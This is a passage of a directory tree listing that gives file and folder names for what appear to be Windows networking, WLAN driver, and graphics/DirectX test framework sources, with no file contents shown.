    │       │       Server.cs
    │       │       Sockets.cs
    │       │       TcpListener.cs
    │       │       UdpListener.cs
    │       │       
    │       ├───Microsoft.Test.Networking.WakeScenarioTests
    │       │       WakeEnums.cs
    │       │       WakeScenarioHelper.cs
    │       │       WakeScenarioTest.cs
    │       │       
    │       ├───Microsoft.Test.Networking.Wireless.Association
    │       │       Association.cs
    │       │       whckassociation.cs
    │       │       
    │       ├───Microsoft.Test.Networking.Wireless.Roaming
    │       │       Roaming.cs
    │       │       whckroaming.cs
    │       │       
    │       ├───Microsoft.Test.Networking.Wireless.Scanning
    │       │       Scanning.cs
    │       │       whckscanning.cs
    │       │       
    │       ├───microsoft.test.networking.wireless.stress
    │       │       AirplaneModeStress.cs
    │       │       AssemblyInfo.cs
    │       │       ConnectDisconnectStress.cs
    │       │       ScanStress.cs
    │       │       SleepStress.cs
    │       │       StressModule.cs
    │       │       WlanHLKStress.cs
    │       │       
    │       └───Microsoft.Test.Networking.Wireless.WiFiDirect
    │               BasicPairingTests.cs
    │               basicreconnecttests.cs
    │               DiscoveryScenario.cs
    │               DiscoveryTests.cs
    │               Enumerations.cs
    │               LegacyPairingScenario.cs
    │               LegacyPairingTests.cs
    │               PairingScenario.cs
    │               ReconnectScenario.cs
    │               RemoteServer.cs
    │               ServicesConnectFutureTests.cs
    │               ServicesConnectScenario.cs
    │               ServicesConnectTests.cs
    │               ServicesDisconnectScenario.cs
    │               ServicesDiscoverConnectScenario.cs
    │               ServicesDiscoveryScenario.cs
    │               ServicesDiscoveryTests.cs
    │               ServicesOpenSocketScenario.cs
    │               ServicesOpenSocketSendDataScenario.cs
    │               ServicesPublishDiscoverConnectScenario.cs
    │               ServicesPublishDiscoverScenario.cs
    │               ServicesPublishScenario.cs
    │               ServicesSendDataScenario.cs
    │               ServicesUnpublishScenario.cs
    │               TestIeManager.cs
    │               Utilities.cs
    │               WiFiDirectDataPathTester.cs
    │               WiFiDirectServicesManager.cs
    │               WiFiDirectServicesWrappers.cs
    │               WiFiDirectTestController.cs
    │               WiFiDirectTestLogger.cs
    │               
    ├───network
    │   └───wlan
    │       └───sys
    │           └───wdi
    │               ├───driver
    │               │       ActionFrame.cpp
    │               │       ActionFrame.hpp
    │               │       ActiveJobsList.cpp
    │               │       ActiveJobsList.hpp
    │               │       Adapter.cpp
    │               │       Adapter.hpp
    │               │       ANQPQuery.cpp
    │               │       ANQPQuery.hpp
    │               │       BSSList.cpp
    │               │       BSSList.hpp
    │               │       coalesce.cpp
    │               │       coalesce.hpp
    │               │       CommonTypes.hpp
    │               │       Connect.cpp
    │               │       Connect.hpp
    │               │       CppUtil.cpp
    │               │       CppUtil.hpp
    │               │       ctlPlane.cpp
    │               │       ctlPlane.hpp
    │               │       datapath.cpp
    │               │       datapath.hpp
    │               │       DeviceCommand.cpp
    │               │       DeviceCommand.hpp
    │               │       DeviceCommandScheduler.cpp
    │               │       DeviceCommandScheduler.hpp
    │               │       Dot11Oids.cpp
    │               │       Dot11Oids.hpp
    │               │       Dot11Utils.cpp
    │               │       Dot11Utils.hpp
    │               │       Driver.cpp
    │               │       Driver.hpp
    │               │       Event.cpp
    │               │       Event.hpp
    │               │       EventQueue.cpp
    │               │       EventQueue.hpp
    │               │       FrameworkHelpers.cpp
    │               │       FrameworkHelpers.hpp
    │               │       Interfaces.hpp
    │               │       Job.cpp
    │               │       Job.hpp
    │               │       Lock.cpp
    │               │       Lock.hpp
    │               │       Miniport.cpp
    │               │       Miniport.hpp
    │               │       NdisHook.cpp
    │               │       NdisHook.hpp
    │               │       NdisOids.cpp
    │               │       NdisOids.hpp
    │               │       NetworkHistory.cpp
    │               │       NetworkHistory.hpp
    │               │       NotificationManager.cpp
    │               │       NotificationManager.hpp
    │               │       offload.cpp
    │               │       offload.hpp
    │               │       OIDTable_.hpp
    │               │       PeerList.cpp
    │               │       PeerList.hpp
    │               │       Pnp.cpp
    │               │       Pnp.hpp
    │               │       Port.cpp
    │               │       Port.hpp
    │               │       Power.cpp
    │               │       Power.hpp
    │               │       precomp.hpp
    │               │       PropertyCache.cpp
    │               │       PropertyCache.hpp
    │               │       radio.cpp
    │               │       radio.hpp
    │               │       RandomMacForScan.cpp
    │               │       RandomMacForScan.hpp
    │               │       Registry.cpp
    │               │       Registry.hpp
    │               │       Request.cpp
    │               │       Request.hpp
    │               │       Reset.cpp
    │               │       Reset.hpp
    │               │       resume.cpp
    │               │       resume.hpp
    │               │       rxfrag.cpp
    │               │       rxfrag.hpp
    │               │       rxmgr.cpp
    │               │       rxmgr.hpp
    │               │       Scan.cpp
    │               │       Scan.hpp
    │               │       SerializedJobsList.cpp
    │               │       SerializedJobsList.hpp
    │               │       Task.cpp
    │               │       Task.hpp
    │               │       Timer.cpp
    │               │       Timer.hpp
    │               │       txmgr.cpp
    │               │       txmgr.hpp
    │               │       WabiUtil.cpp
    │               │       WabiUtil.hpp
    │               │       wake.cpp
    │               │       wake.hpp
    │               │       wdiapi.cpp
    │               │       wdilib.cpp
    │               │       wdilib.hpp
    │               │       wdilibwpp.hpp
    │               │       wdiprivate.hpp
    │               │       wdisym.cpp
    │               │       WdiWiFi.cpp
    │               │       WfdClient.hpp
    │               │       WfdCommon.cpp
    │               │       WfdCommon.hpp
    │               │       WfdDevice.cpp
    │               │       WfdDevice.hpp
    │               │       WfdGroupOwner.cpp
    │               │       WfdGroupOwner.hpp
    │               │       
    │               └───tlvgeneratorparser
    │                       precomp.hpp
    │                       TlvFramework.hpp
    │                       TlvGenerated_.cpp
    │                       TlvGenerated_.hpp
    │                       TLVGeneratorParser.cpp
    │                       TLVGeneratorParser.hpp
    │                       tlvlibwpp.hpp
    │                       TlvVersioningHelpers.hpp
    │                       
    ├───Tests
    │   └───Graphics
    │       └───Graphics
    │           ├───Base
    │           │   └───Tests
    │           │       ├───brightness
    │           │       │       brightness.cpp
    │           │       │       Brightness.rc
    │           │       │       brightnesspch.h
    │           │       │       BrightnessTest.cpp
    │           │       │       BrightnessTest.h
    │           │       │       dlist.cpp
    │           │       │       dlist.h
    │           │       │       sources
    │           │       │       WMIHelper.cpp
    │           │       │       WMIHelper.h
    │           │       │       WmiInstance.hpp
    │           │       │       
    │           │       ├───Brightness2
    │           │       │       Brightness2.cpp
    │           │       │       Brightness2.h
    │           │       │       brightness2.rc
    │           │       │       sources
    │           │       │       WMIHelper.cpp
    │           │       │       WMIHelper.h
    │           │       │       
    │           │       ├───Brightness2OS
    │           │       │       Brightness2OS.cpp
    │           │       │       Brightness2OS.h
    │           │       │       brightness2OS.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───CCDAPI
    │           │       │   ├───MinimumDisplaySpec
    │           │       │   │       AbstractAdapterTest.cpp
    │           │       │   │       AbstractAdapterTest.h
    │           │       │   │       AbstractTest.cpp
    │           │       │   │       AbstractTest.h
    │           │       │   │       Check10by7.cpp
    │           │       │   │       Check10by7.h
    │           │       │   │       CheckAdapterReportedModes.cpp
    │           │       │   │       CheckAdapterReportedModes.h
    │           │       │   │       CheckColorDepth.cpp
    │           │       │   │       CheckColorDepth.h
    │           │       │   │       CheckDualResolution.cpp
    │           │       │   │       CheckDualResolution.h
    │           │       │   │       CheckPostAdapterBIOSColorDepth.cpp
    │           │       │   │       CheckPostAdapterBIOSColorDepth.h
    │           │       │   │       CheckTabletNativeResolution.cpp
    │           │       │   │       CheckTabletNativeResolution.h
    │           │       │   │       CustomTestFactors.cpp
    │           │       │   │       CustomTestFactors.h
    │           │       │   │       Display.Monitor.Modes.cpp
    │           │       │   │       Display.Monitor.Modes.h
    │           │       │   │       EdidTestBase.cpp
    │           │       │   │       EdidTestBase.h
    │           │       │   │       Logging.h
    │           │       │   │       main.cpp
    │           │       │   │       MinimumMemoryTest.cpp
    │           │       │   │       MinimumMemoryTest.h
    │           │       │   │       MinimumResolutionTest.cpp
    │           │       │   │       MinimumResolutionTest.h
    │           │       │   │       MinimumResolutionTest.rc
    │           │       │   │       MonitorEdidInfo.cpp
    │           │       │   │       MonitorEdidInfo.h
    │           │       │   │       sources
    │           │       │   │       TestResult.h
    │           │       │   │       
    │           │       │   └───SetDisplayConfig
    │           │       │           main.cpp
    │           │       │           SetDisplayConfig.cpp
    │           │       │           SetDisplayConfig.h
    │           │       │           SetDisplayConfig.rc
    │           │       │           sources
    │           │       │           
    │           │       ├───coherency
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───ConformanceTests
    │           │       │   │   dirs
    │           │       │   │   
    │           │       │   ├───DMAsplit
    │           │       │   │       DMAsplit.cpp
    │           │       │   │       DMAsplit.h
    │           │       │   │       kitContent.kml
    │           │       │   │       main.cpp
    │           │       │   │       Main.rc
    │           │       │   │       sources
    │           │       │   │       
    │           │       │   ├───eviction
    │           │       │   │       eviction.cpp
    │           │       │   │       eviction.h
    │           │       │   │       main.cpp
    │           │       │   │       Main.rc
    │           │       │   │       sources
    │           │       │   │       
    │           │       │   ├───Preemption
    │           │       │   │       CausePreemption.cpp
    │           │       │   │       CausePreemption.h
    │           │       │   │       main.cpp
    │           │       │   │       Main.rc
    │           │       │   │       Reference.cpp
    │           │       │   │       Reference.h
    │           │       │   │       sources
    │           │       │   │       TestPreemption.cpp
    │           │       │   │       TestPreemption.h
    │           │       │   │       
    │           │       │   └───Utilities
    │           │       │           BackBufferCompare.cpp
    │           │       │           BackBufferCompare.h
    │           │       │           Image.cpp
    │           │       │           Image.h
    │           │       │           sources
    │           │       │           
    │           │       ├───CrossProc
    │           │       │       AdapterDisplayInfo.cpp
    │           │       │       AdapterDisplayInfo.h
    │           │       │       common.h
    │           │       │       crossproc.ini
    │           │       │       CrossProcSwizzlingRangeContention.ini
    │           │       │       FusHelper.cpp
    │           │       │       FusHelper.h
    │           │       │       IncludeFusFramework.idl
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       owner.cpp
    │           │       │       owner.h
    │           │       │       sources
    │           │       │       stdafx.h
    │           │       │       user.cpp
    │           │       │       user.h
    │           │       │       utils.cpp
    │           │       │       utils.h
    │           │       │       
    │           │       ├───Eviction
    │           │       │       EvictBlt.cpp
    │           │       │       EvictBlt.h
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───fpo
    │           │       │       listener.cpp
    │           │       │       listener.h
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───GDItest_hw
    │           │       │       CCompDC.cpp
    │           │       │       CCompDC.h
    │           │       │       gditest_hw.cpp
    │           │       │       gditest_hw.h
    │           │       │       gditest_hw.ico
    │           │       │       gditest_hw.rc
    │           │       │       makefile
    │           │       │       Resource.h
    │           │       │       small.ico
    │           │       │       sources
    │           │       │       stdafx.cpp
    │           │       │       stdafx.h
    │           │       │       WttLogSimple.cpp
    │           │       │       WttLogSimple.h
    │           │       │       
    │           │       ├───LDDMModeChange
    │           │       │       DisplayModeStructures.cpp
    │           │       │       DisplayModeStructures.h
    │           │       │       Main.cpp
    │           │       │       Main.rc
    │           │       │       RandomModeChange.cpp
    │           │       │       RandomModeChange.h
    │           │       │       RandomMultiMon.cpp
    │           │       │       RandomMultiMon.h
    │           │       │       SharedSurfaceLock.cpp
    │           │       │       SharedSurfaceLock.h
    │           │       │       sources
    │           │       │       UnmanagedPrimarySurface.cpp
    │           │       │       UnmanagedPrimarySurface.h
    │           │       │       
    │           │       ├───LockConfirm
    │           │       │       LockConfirm.cpp
    │           │       │       LockConfirm.h
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───PersistentDB
    │           │       │   └───PersistentReset
    │           │       │           CDSDevMode.cpp
    │           │       │           CDSDevMode.h
    │           │       │           CDSReset.cpp
    │           │       │           CDSReset.h
    │           │       │           main.cpp
    │           │       │           Main.rc
    │           │       │           SDCReset.cpp
    │           │       │           SDCReset.h
    │           │       │           sources
    │           │       │           
    │           │       ├───PnPStopTests
    │           │       │   ├───PnPMultiModeSwitchTest
    │           │       │   │       main.cpp
    │           │       │   │       Main.rc
    │           │       │   │       PnPMultiModeSwitchTest.cpp
    │           │       │   │       PnPMultiModeSwitchTest.h
    │           │       │   │       sources
    │           │       │   │       
    │           │       │   ├───PnPStop
    │           │       │   │       main.cpp
    │           │       │   │       Main.rc
    │           │       │   │       PnPStop.cpp
    │           │       │   │       PnPStop.h
    │           │       │   │       sources
    │           │       │   │       
    │           │       │   └───PnPStopVGA
    │           │       │           main.cpp
    │           │       │           Main.rc
    │           │       │           PnPStopVGA.cpp
    │           │       │           PnPStopVGA.h
    │           │       │           sources
    │           │       │           
    │           │       ├───schbillboard
    │           │       │       allocoverhead.cpp
    │           │       │       allocoverhead.h
    │           │       │       badapp.cpp
    │           │       │       badapp.h
    │           │       │       billboard.cpp
    │           │       │       billboard.h
    │           │       │       main.cpp
    │           │       │       overcommit.cpp
    │           │       │       overcommit.h
    │           │       │       pager.cpp
    │           │       │       pager.h
    │           │       │       preempt.cpp
    │           │       │       preempt.h
    │           │       │       resource.rc
    │           │       │       schsecurity.cpp
    │           │       │       schsecurity.h
    │           │       │       sources
    │           │       │       
    │           │       ├───sched_bvt
    │           │       │       d3dapp.cpp
    │           │       │       d3dapp.h
    │           │       │       d3denumeration.cpp
    │           │       │       d3denumeration.h
    │           │       │       d3dfont.cpp
    │           │       │       d3dfont.h
    │           │       │       d3dsettings.cpp
    │           │       │       d3dsettings.h
    │           │       │       d3dutil.cpp
    │           │       │       d3dutil.h
    │           │       │       DirectX.ico
    │           │       │       dxutil.cpp
    │           │       │       dxutil.h
    │           │       │       lunar_back.jpg
    │           │       │       lunar_bottom.JPG
    │           │       │       lunar_front.JPG
    │           │       │       lunar_left.JPG
    │           │       │       lunar_right.JPG
    │           │       │       resource.h
    │           │       │       saucer02.x
    │           │       │       saucer_color.jpg
    │           │       │       saucer_light.jpg
    │           │       │       sched_bvt.cpp
    │           │       │       sched_bvt.fx
    │           │       │       sched_bvt.h
    │           │       │       sched_bvt.rc
    │           │       │       skybox2.x
    │           │       │       sources
    │           │       │       
    │           │       ├───schmanager
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       ManagerClient.cpp
    │           │       │       ManagerClient.h
    │           │       │       PreemptionEvent.cpp
    │           │       │       PreemptionEvent.h
    │           │       │       sources
    │           │       │       
    │           │       ├───SchTaef
    │           │       │   └───NodeMetaData
    │           │       │           Main.cpp
    │           │       │           sources
    │           │       │           
    │           │       ├───SchWGTFTests
    │           │       │   └───WGFPayloadTDR
    │           │       │           Compute_a_TDR.cpp
    │           │       │           Compute_a_TDR.h
    │           │       │           CS_Shaders.h
    │           │       │           etwPayload.cpp
    │           │       │           etwPayload.h
    │           │       │           Globals.h
    │           │       │           Graphics_TDR.cpp
    │           │       │           Graphics_TDR.h
    │           │       │           internal.h
    │           │       │           KernelAPIThunks.cpp
    │           │       │           KernelAPIThunks.h
    │           │       │           KernelAPIThunkTypes.h
    │           │       │           sources
    │           │       │           TdrDelayTimeLong.reg
    │           │       │           TdrDelayTimeNormal.reg
    │           │       │           TdrLimitTimeLong.reg
    │           │       │           TdrLimitTimeNormal.reg
    │           │       │           WGFPayloadTDR.cpp
    │           │       │           WGFPayloadTDR.h
    │           │       │           WGFPayloadTDR.rc
    │           │       │           WGFPayloadTDRResources.h
    │           │       │           
    │           │       ├───SimulateTDR
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───surfboard
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       surfboardcomponent.cpp
    │           │       │       surfboardcomponent.h
    │           │       │       
    │           │       ├───SuspendCpuAccessVidMM
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───unmappedaperture
    │           │       │       main.cpp
    │           │       │       Main.rc
    │           │       │       sources
    │           │       │       
    │           │       ├───VidMMTests
    │           │       │   └───WGFVidMMWDDM1_2
    │           │       │           sources
    │           │       │           VidMMWDDM1_2.cpp
    │           │       │           VidMMWDDM1_2.h
    │           │       │           VidMMWDDM1_2.rc
    │           │       │           
    │           │       └───WirelessDisplays
    │           │           └───TestsHCK
    │           │               └───HCK
    │           │                       arrow_128.cur
    │           │                       arrow_256.cur
    │           │                       arrow_64.cur
    │           │                       arrow_il_32.cur
    │           │                       arrow_il_48.cur
    │           │                       arrow_l_32.cur
    │           │                       arrow_l_48.cur
    │           │                       arrow_xl_64.cur
    │           │                       beam_il_32.cur
    │           │                       beam_il_48.cur
    │           │                       busy_il_32.cur
    │           │                       busy_il_48.cur
    │           │                       mask_64.cur
    │           │                       mask_xor_48.cur
    │           │                       MiracastHCKTests.h
    │           │                       MiracastHCKTests.rc
    │           │                       random_128.cur
    │           │                       random_256.cur
    │           │                       random_strip.cur
    │           │                       resource.h
    │           │                       single_pixel.cur
    │           │                       sources
    │           │                       
    │           └───DirectX
    │               ├───Common
    │               │   │   common.mk
    │               │   │   dirs
    │               │   │   
    │               │   ├───3dmath
    │               │   │       3dmath.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───CContentGenerator
    │               │   │       CContentGenerator.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───CommonD3DTestBase
    │               │   │       CommonD3DTestBase.cpp
    │               │   │       CommonD3DTestBase.h
    │               │   │       sources
    │               │   │       
    │               │   ├───D3D9TestFramework
    │               │   │   │   dirs
    │               │   │   │   framework.vcproj
    │               │   │   │   Framework71.vcproj
    │               │   │   │   testframe.mk
    │               │   │   │   
    │               │   │   ├───buffers
    │               │   │   │       bufferspch.h
    │               │   │   │       cindexbuffer.cpp
    │               │   │   │       cindexbuffer8.cpp
    │               │   │   │       cindexbuffer9.cpp
    │               │   │   │       cnindexbuffer.cpp
    │               │   │   │       cnvertexbuffer.cpp
    │               │   │   │       cvertexbuffer.cpp
    │               │   │   │       cvertexbuffer6.cpp
    │               │   │   │       cvertexbuffer7.cpp
    │               │   │   │       cvertexbuffer8.cpp
    │               │   │   │       cvertexbuffer9.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───commandline
    │               │   │   │       ccommandline.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───d3d
    │               │   │   │       cd3d.cpp
    │               │   │   │       cd3d6.cpp
    │               │   │   │       cd3d7.cpp
    │               │   │   │       cd3d8.cpp
    │               │   │   │       cd3d9.cpp
    │               │   │   │       d3dpch.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───d3dtest
    │               │   │   │       capitest.cpp
    │               │   │   │       cd3dtest.cpp
    │               │   │   │       cmanualtest.cpp
    │               │   │   │       d3dtestpch.h
    │               │   │   │       sources
    │               │   │   │       wrappers.cpp
    │               │   │   │       
    │               │   │   ├───d3dx
    │               │   │   │       cd3dx.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───device
    │               │   │   │       cdevice.cpp
    │               │   │   │       cdevice6.cpp
    │               │   │   │       cdevice7.cpp
    │               │   │   │       cdevice8.cpp
    │               │   │   │       cdevice9.cpp
    │               │   │   │       cdeviced3dx8.cpp
    │               │   │   │       cdeviced3dx9.cpp
    │               │   │   │       cshaders.cpp
    │               │   │   │       cstateblock.cpp
    │               │   │   │       devicepch.h
    │               │   │   │       devwrappers.cpp
    │               │   │   │       render.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───DXGLogger
    │               │   │   │       DXG9Logger.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───effect
    │               │   │   │       ceffect.cpp
    │               │   │   │       ceffect9.cpp
    │               │   │   │       cneffect.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───handle
    │               │   │   │       chandle.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───hlutils
    │               │   │   │       cflagcombinations.cpp
    │               │   │   │       ctestfactor.cpp
    │               │   │   │       d_util.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───image
    │               │   │   │       cimage.cpp
    │               │   │   │       imagepch.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───imagecompare
    │               │   │   │       cimagecompare.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───include
    │               │   │   │       cbuffers.h
    │               │   │   │       ccommandline.h
    │               │   │   │       cd3d.h
    │               │   │   │       cd3ddef.h
    │               │   │   │       cd3dtest.h
    │               │   │   │       cd3dwindowframework.h
    │               │   │   │       cd3dx.h
    │               │   │   │       cdevice.h
    │               │   │   │       ceffect.h
    │               │   │   │       cflagcombinations.h
    │               │   │   │       chandle.h
    │               │   │   │       cimage.h
    │               │   │   │       cimagecompare.h
    │               │   │   │       cobject.h
    │               │   │   │       cobjectunknown.h
    │               │   │   │       cquery.h
    │               │   │   │       cresource.h
    │               │   │   │       csurface.h
    │               │   │   │       cswapchain.h
    │               │   │   │       CTestCaseResourceManager.h
    │               │   │   │       ctestfactor.h
    │               │   │   │       ctestmanager.h
    │               │   │   │       ctextures.h
    │               │   │   │       cwindow.h
    │               │   │   │       d3dutils.h
    │               │   │   │       dxg9logger.h
    │               │   │   │       d_util.h
    │               │   │   │       framework.h
    │               │   │   │       frameworkresource.h
    │               │   │   │       frameworktypes.h
    │               │   │   │       fsurface.h
    │               │   │   │       interface.h
    │               │   │   │       legacytref.h
    │               │   │   │       str.h
    │               │   │   │       testutils.h
    │               │   │   │       
    │               │   │   ├───link
    │               │   │   │       d3dframework.rc
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───object
    │               │   │   │       cobject.cpp
    │               │   │   │       interface.cpp
    │               │   │   │       objectpch.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───query
    │               │   │   │       cnquery.cpp
    │               │   │   │       cquery.cpp
    │               │   │   │       cquery6.cpp
    │               │   │   │       cquery7.cpp
    │               │   │   │       cquery8.cpp
    │               │   │   │       cquery9.cpp
    │               │   │   │       querypch.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───resource
    │               │   │   │       CResource.cpp
    │               │   │   │       CResource9.cpp
    │               │   │   │       ResourcePCH.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───resources
    │               │   │   │       bitmap1.bmp
    │               │   │   │       d3d.ico
    │               │   │   │       d3dframework.rc
    │               │   │   │       
    │               │   │   ├───surface
    │               │   │   │       cnsurface.cpp
    │               │   │   │       csurface.cpp
    │               │   │   │       csurface6.cpp
    │               │   │   │       csurface7.cpp
    │               │   │   │       csurface8.cpp
    │               │   │   │       csurface9.cpp
    │               │   │   │       cvolume.cpp
    │               │   │   │       cvolume8.cpp
    │               │   │   │       cvolume9.cpp
    │               │   │   │       fsurface.cpp
    │               │   │   │       sources
    │               │   │   │       surfacepch.h
    │               │   │   │       
    │               │   │   ├───swapchain
    │               │   │   │       cnswapchain.cpp
    │               │   │   │       cswapchain.cpp
    │               │   │   │       cswapchain6.cpp
    │               │   │   │       cswapchain7.cpp
    │               │   │   │       cswapchain8.cpp
    │               │   │   │       cswapchain9.cpp
    │               │   │   │       sources
    │               │   │   │       swapchainpch.h
    │               │   │   │       
    │               │   │   ├───testmanager
    │               │   │   │       ctest.cpp
    │               │   │   │       ctestmanager.cpp
    │               │   │   │       sources
    │               │   │   │       testmanagerpch.h
    │               │   │   │       
    │               │   │   ├───testutils
    │               │   │   │       CTestCaseResourceManager.cpp
    │               │   │   │       legacytestutils.cpp
    │               │   │   │       sources
    │               │   │   │       testutils.cpp
    │               │   │   │       testutilspch.h
    │               │   │   │       
    │               │   │   ├───textures
    │               │   │   │       ccubetexture.cpp
    │               │   │   │       ccubetexture7.cpp
    │               │   │   │       ccubetexture8.cpp
    │               │   │   │       ccubetexture9.cpp
    │               │   │   │       cntexture.cpp
    │               │   │   │       ctexture.cpp
    │               │   │   │       ctexture6.cpp
    │               │   │   │       ctexture7.cpp
    │               │   │   │       ctexture8.cpp
    │               │   │   │       ctexture9.cpp
    │               │   │   │       cvoltexture.cpp
    │               │   │   │       cvoltexture8.cpp
    │               │   │   │       cvoltexture9.cpp
    │               │   │   │       sources
    │               │   │   │       texturespch.h
    │               │   │   │       
    │               │   │   ├───window
    │               │   │   │       clogwindow.cpp
    │               │   │   │       crebarwindow.cpp
    │               │   │   │       ctabwindow.cpp
    │               │   │   │       cwindow.cpp
    │               │   │   │       sources
    │               │   │   │       windowpch.h
    │               │   │   │       
    │               │   │   └───windowframework
    │               │   │           cd3dwindowframework.cpp
    │               │   │           sources
    │               │   │           windowframeworkpch.h
    │               │   │           winmain.cpp
    │               │   │           
    │               │   ├───d3dconvert
    │               │   │       d3dconvert.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───D3DFormatConverter
    │               │   │       D3DFormatConverter.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───D3DTiff
    │               │   │       D3DTiff.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───DXVACommon
    │               │   │       DXVACommon.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───formathelper
    │               │   │       FormatDesc.hpp
    │               │   │       FormatDescImpl.cpp
    │               │   │       FormatHelper.cpp
    │               │   │       FormatHelper.vcproj
    │               │   │       sources
    │               │   │       
    │               │   ├───include
    │               │   │       3dmath.h
    │               │   │       CContentGenerator.h
    │               │   │       CContentGeneratorTypes.h
    │               │   │       CDXVA_DeviceCaps.h
    │               │   │       Common.hpp
    │               │   │       cshaderdebugger.h
    │               │   │       d3dconvert.h
    │               │   │       D3DFormatConverter.h
    │               │   │       D3DTiff.h
    │               │   │       Direct3DFailureCategoryStrings.h
    │               │   │       DXVACommon.h
    │               │   │       DXVACommonTypes.h
    │               │   │       FormatHelper.h
    │               │   │       ImageDataConverter.h
    │               │   │       includeresource.h
    │               │   │       ShaderUtils.h
    │               │   │       shapelib.h
    │               │   │       WGFHelpers.h
    │               │   │       
    │               │   ├───ModeHelperFunctions
    │               │   │       Common1.cpp
    │               │   │       Common2.cpp
    │               │   │       ModeHelperFunctions.sln
    │               │   │       ModeHelperFunctions.vcproj
    │               │   │       sources
    │               │   │       
    │               │   ├───ProxyRef10
    │               │   │       ProxyRef10.cpp
    │               │   │       ProxyRef10.h
    │               │   │       ProxyRef10.razzle.vcproj
    │               │   │       sources
    │               │   │       
    │               │   ├───ProxyRef11
    │               │   │       ProxyRef11.cpp
    │               │   │       ProxyRef11.h
    │               │   │       sources
    │               │   │       
    │               │   ├───ResourceViewer
    │               │   │       ResourceViewer.cpp
    │               │   │       ResourceViewer.h
    │               │   │       sources
    │               │   │       
    │               │   ├───ResourceViewerNoShell
    │               │   │       ResourceViewer.cpp
    │               │   │       ResourceViewer.h
    │               │   │       sources
    │               │   │       
    │               │   ├───shader
    │               │   │       cshaderdebugger.cpp
    │               │   │       ShaderUtils.cpp
    │               │   │       sources
    │               │   │       
    │               │   ├───shapelib
    │               │   │       shapelib.cpp
    │               │   │       shapelib.razzle.vcproj
    │               │   │       sources
    │               │   │       
    │               │   ├───tiledresourcehelper
    │               │   │       sources
    │               │   │       TiledResourceHelper.cpp
    │               │   │       TiledResourceHelper.h
    │               │   │       
    │               │   └───WGFTestFramework
    │               │       │   dirs
    │               │       │   WGFTestFramework.vcproj
    │               │       │   WGFTestFramework2k5.vcproj
    │               │       │   
    │               │       ├───AddOns
    │               │       │   │   dirs
    │               │       │   │   
    │               │       │   └───CustomTestApp
    │               │       │           CustomTest.hpp
    │               │       │           CustomTest.inl
    │               │       │           CustomTestApp.cpp
    │               │       │           CustomTestApp.hpp
    │               │       │           CustomTestApp.inl
    │               │       │           D3D8CustomTest.hpp
    │               │       │           D3D8CustomTest.inl
    │               │       │           D3D8CustomTestApp.cpp
    │               │       │           D3D8CustomTestApp.hpp
    │               │       │           D3D8CustomTestApp.inl
    │               │       │           D3D9AdapterTopology.cpp
    │               │       │           D3D9AdapterTopology.hpp
    │               │       │           D3D9CustomTest.hpp
    │               │       │           D3D9CustomTest.inl
    │               │       │           D3D9CustomTestApp.cpp
    │               │       │           D3D9CustomTestApp.hpp
    │               │       │           D3D9CustomTestApp.inl
    │               │       │           D3D9ToGDIAdapterTopologyMap.cpp
    │               │       │           D3D9ToGDIAdapterTopologyMap.hpp
    │               │       │           DXGIAdapterTopology.cpp
    │               │       │           DXGIAdapterTopology.hpp
    │               │       │           DXGICustomTest.hpp
    │               │       │           DXGICustomTest.inl
    │               │       │           DXGICustomTestApp.cpp
    │               │       │           DXGICustomTestApp.hpp
    │               │       │           DXGICustomTestApp.inl
    │               │       │           DXGIToGDIAdapterTopologyMap.cpp
    │               │       │           DXGIToGDIAdapterTopologyMap.hpp
    │               │       │           GDIAdapterTopology.cpp
    │               │       │           GDIAdapterTopology.hpp
    │               │       │           Makefile
    │               │       │           sources
    │               │       │           
    │               │       ├───Core
    │               │       │   │   CommandLine.cpp
    │               │       │   │   Error.cpp
    │               │       │   │   FlagCombinations.cpp
    │               │       │   │   FloatUtils.cpp
    │               │       │   │   Framework.cpp
    │               │       │   │   fwtypes.cpp
    │               │       │   │   Logger.cpp
    │               │       │   │   memmgr.cpp
    │               │       │   │   pch.h
    │               │       │   │   Shell.cpp
    │               │       │   │   sources
    │               │       │   │   Test.cpp
    │               │       │   │   TestClassFactory.cpp
    │               │       │   │   TestGroupManager.cpp
    │               │       │   │   WGFTestCore.razzle.vcproj
    │               │       │   │   
    │               │       │   └───include
    │               │       │           CommandLine.h
    │               │       │           Error.h
    │               │       │           FlagCombinations.h
    │               │       │           FloatUtils.h
    │               │       │           Framework.h
    │               │       │           fwtypes.h
    │               │       │           logger.h
    │               │       │           memmgr.h
    │               │       │           new_off.h
    │               │       │           new_on.h
    │               │       │           Shell.h
    │               │       │           Test.h
